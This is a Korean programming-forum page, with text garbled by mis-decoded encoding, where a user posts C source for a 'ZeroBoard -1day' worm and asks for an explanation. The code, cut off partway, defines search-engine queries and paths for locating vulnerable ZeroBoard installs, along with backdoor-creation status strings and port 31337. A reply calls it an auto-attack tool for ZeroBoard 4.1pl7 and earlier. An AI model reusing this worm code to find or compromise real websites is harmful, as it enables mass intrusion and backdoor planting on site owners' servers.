ÇÁ·Î±×·¡¹Ö

 3206, 6/161 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   tlqaksqhr
   ¿¬±¸ÇÏ·Á°í Æۿ¾¾Ë¼ö¾ø´Â ¼Ò½º....

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_programming&no=1144 [º¹»ç]


¿©±â°í¼öºÐµé.. À̼ҽº Çؼ®Á» ºÎŹµå·Á¿©...
(ÁÖ¼®À»´Þ¾Æ¼­...)

¼Ò½º´Â ¾Æ·¡¼­ºÎÅͽÃÀÛÇÕ´Ï´Ù...


_______________________________________________________________________________

/*
** ZeroBoard -1day INE w0rm
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef __sun__
#include
#endif /* __SunOS__ */

#define DEBUG_ING
#undef DEBUG_ING

#define TMP_FILE "./tmp.core"
#define CMD_FILE "./cmd.core"
#define PRC_FILE "./proc.core"
#define SCS (0)
#define MIN (1)

#ifdef __linux__
#define DEF_ETH "eth0"
#else
#ifdef __FreeBSD__
#define DEF_ETH "ed0"
#else
#ifdef __sun__
#define DEF_ETH "hme0"
#endif
#endif
#endif

#define MAX_BUF (0x0000ffff)
#define FIR_BUF (0x00000800)
#define SEC_BUF (0x00000400)
#define THR_BUF (0x00000200)
#define MIN_BUF (0x00000100)

#define VENDOR "nzeo.com"

// search rule
#define FD_RULE_0 "/zboard/zboard.php"
#define FD_RULE_1 "/zb41/zboard.php"
#define FD_RULE_2 "/bbs/zboard.php"
#define FD_RULE_3 "/zb/zboard.php"
#define FD_RULE_4 "/zb40/zboard.php"
#define FD_RULE_5 "/board/zboard.php"
#define FD_RULE_6 "zboard.php"
#define FD_RULE_7 "zboard.ph"

// pattern
#define FD_PATH_0 "/zboard/skin/zero_vote/login.php"
#define FD_PATH_1 "/zb41/skin/zero_vote/login.php"
#define FD_PATH_2 "/bbs/skin/zero_vote/login.php"
#define FD_PATH_3 "/zb/skin/zero_vote/login.php"
#define FD_PATH_4 "/zb40/skin/zero_vote/login.php"
#define FD_PATH_5 "/board/skin/zero_vote/login.php"
#define FD_PATH_6 "/skin/zero_vote/login.php"

#define RESULT_OK "200 OK"
#define MAKE_STR1 "BACKDOOR MAKE SUCCESS"
#define MAKE_STR2 "ZBCODE MAKE SUCCESS"
#define DELT_STR1 "BACKDOOR DELETE SUCCESS"
#define DELT_STR2 "ZBCODE DELETE SUCCESS"

#define DEF_PORT (31337)
#define CONN_PORT (80)
#define DEF_TIME (20)

int set_sock(char *sc_gt_host,int port,int type);
void re_connt_lm(int st_sock_va,int type);
int proc_r();
void t_kill();
void sf_exit();
int g_ip(char *ip);
int make_cmd_file();
int filter_f(char *test_bf,int tnum);

int sock;

struct tg_rl
{
int r_num;
char *r_str;
char *url_str;
};

#define TARGET_NUM (7)
#define SEARCH_NUM (4)

struct tg_rl __tg_rule_va[]=
{
{0,FD_RULE_0,FD_PATH_0},
{1,FD_RULE_1,FD_PATH_1},
{2,FD_RULE_2,FD_PATH_2},
{3,FD_RULE_3,FD_PATH_3},
{4,FD_RULE_4,FD_PATH_4},
{5,FD_RULE_5,FD_PATH_5},
{6,FD_RULE_6,FD_PATH_6},
{7,FD_RULE_7,FD_PATH_6},
{8,NULL,NULL}
};

struct search_rule
{
int num;
u_char *url;
int maxnum;
int defnum;
u_char *http_head;
};

struct search_rule search_va[]=
{
{0,"www.google.com",990,10,"http://"},
{1,"kr.search.yahoo.com",990,15,"http://"},
{2,"search.nate.com",480,10,"http://"},
{3,"search.lycos.com",990,10,"//"},
{4,"kr.altavista.com",1000,10,"//"},
{5,NULL,0,0,NULL}
};

void t_kill()
{
#ifdef DEBUG_ING
fprintf(stdout,"time outn");
#endif
close(sock);
sock=-1;
signal(SIGALRM,SIG_DFL);
return;
}

void sf_exit()
{
#ifdef DEBUG_ING
fprintf(stdout,"safe exitn");
#endif
close(sock);
kill((int)proc_r(),9);
unlink(TMP_FILE);
unlink(CMD_FILE);
unlink(PRC_FILE);
exit(-1);
}

int main(int argc,char *argv[])
{
FILE *fp;

int tnum=(SCS);
int chk=(SCS);
int gogo=(SCS);
int whgl=(SCS);
int qnum=(SCS);
int tgrl_sl=(MIN);
int _conn_num=(SCS);
int port=(CONN_PORT);
int def_port=(DEF_PORT);
int sc_gt_sock;
int host_chk=(SCS);

u_char *gg_ptr=NULL;
u_char *t_ptr=NULL;
u_char __zr_bf[(MAX_BUF)];
u_char *port_ptr=NULL;

char pkt[(FIR_BUF)];
char host[(SEC_BUF)];
char url[(SEC_BUF)];
char test_bf[(MAX_BUF)];
char req_t_bf[(THR_BUF)];
char ip[(MIN_BUF)];
char atk_code[(MIN_BUF)];

signal(SIGINT,sf_exit);
signal(SIGTSTP,sf_exit);

while((whgl=getopt(argc,argv,"S:s:T:t:Q:q:P:p:H:h:U:u:"))!=EOF)
{
extern char *optarg;
switch(whgl)
{
case 'S':
case 's':
tnum=atoi(optarg);
if(SEARCH_NUM


  Hit : 6680     Date : 2006/07/31 12:18



    
moongchiza ÀÌ°Ô ¹¹Çϴ°ŵ巡¿ä?? 2006/08/01  
pr0sp3r Á¦·Îº¸µå 4.1pl7 ÀÌÇÏ Á¦·Îµ¥À̾îÅà ÄÚµåÀÎµí ½Í³×¿ä.. °¢Á¾ °Ë»ö¿£ÁøÀ»ÀÌ¿ëÇØ Ãë¾àÇÑ ¹öÀüÀ» ã¾Æ¼­ ÀÚµ¿°ø°ÝÇÏ´Â ¼Ò½ºÀÔ´Ï´Ù;;;; 2006/08/01  
ChuRack Äð·°...! 2006/09/15  
3106     [re] CÇÁ·Î±×·¡¹Ö ´äº¯Á»..     admin
09/04 6925
3105   Á¦°¡ § ȸ¹® ÆǺ° ¼Ò½º Àä...Á» ºÁÁÖ¼¼¿ä ¤Ð¤Ì[4]     soul214
01/06 6896
3104   ¾ÆÀÌÆÌÅÍÄ¡/¾ÆÀÌÆù ¾îÇà ¸¸µé±â Áú¹®ÇÏ°Ù½À´Ï´Ù[9]     rudgnsgogo
12/12 6886
3103   charÇü ¿À·ù[3]     jyoo94
10/29 6865
3102   2¹ø¤Š ÇÁ·Î±×·¡¹Ö Àε¥¿ä ¤Ð¤Ð[1]     ¸¸µçÀÌ
06/09 6780
3101   JSP ÆÄÀÏ ¾÷/´Ù¿î·Îµå °ü·Ã Áú¹®ÀÖ½À´Ï´Ù.     hsg0154
07/30 6753
3100   º£¸®ÁîÀ¥½¦¾îÀÇ ¿ø¸®°¡ ¹«¾ùÀΰ¡¿ä[1]     attainer
03/20 6700
  ¿¬±¸ÇÏ·Á°í Æۿ¾¾Ë¼ö¾ø´Â ¼Ò½º....[3]     tlqaksqhr
07/31 6679
3098   MFC¿¡¼­ setTimer()°ü·Ã Áú¹®ÀÔ´Ï´Ù.[1]     haha0913
10/02 6666
3097   ºí·ç½ºÅ©¸° ¼Ò½º[5]     h@cking2013
03/23 6645
3096   c++ ÀÏÁ¤½Ã°£µÇ¸é ½ÇÇàµÇ´Â ÇÁ·Î±×·¥[1]     shinss2129
08/08 6631
3095   ³ªÇÁÀß À̶ó´Â Ã¥¿¡ ´ëÇØ..[2]     selbe2
10/30 6620
3094   [¾¾¾ð¾î]¿­Ç÷°­ÀǸ¦ Microsoft Visual Studio 2010¿¡¼­ µû¶ó ÇÏ°í ½ÍÀºµ¥¿ä...[3]     ssama333
02/09 6597
3093   [ÃʱÞ] DEV-C++ »ç¿ëÇϽôºеé ÄÄÆÄÀÏ ¿¡·¯¹®Á¦[3]     radical31
03/14 6543
3092   C¾ð¾î ¸· ½ÃÀÛÇߴµ¥ °£´ÜÇÑ Áú¹®Á»[8]     Lunatie
10/06 6539
3091   ´Ü¾îÀå¿¡ ´Ü¾î¸¦ Ãß°¡ÇÏ°Ô ÇØÁÖ´Â ÇÁ·Î±×·¥Àä...´Ü¾îÃß°¡°¡ ¾ÈµË´Ï´Ù..[6]     JJang777
06/18 6478
3090   8051 ÇÁ·Î±×·¡¹Ö[MICOM]     ¾ÆÀÌÇÁ¸®µå
04/23 6436
3089   c++ µµÇü¹®Á¦     jkh0721
06/03 6435
3088   C¾ð¾î, ¼ýÀÚ°¡ Å« ¼ø¼­´ë·Î ³ª¿­ÇÏ´Â ÇÁ·Î±×·¥ ÄÚµå (Á»ºÁÁּſä)[2]     rocket07
02/14 6399
3087     [re] memset() ÇÔ¼öÁ» ¾ËÄÑÁÖ¼¼¿ë^^     ¼ÒÀ¯
09/13 6383
[1][2][3][4][5] 6 [7][8][9][10]..[161]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org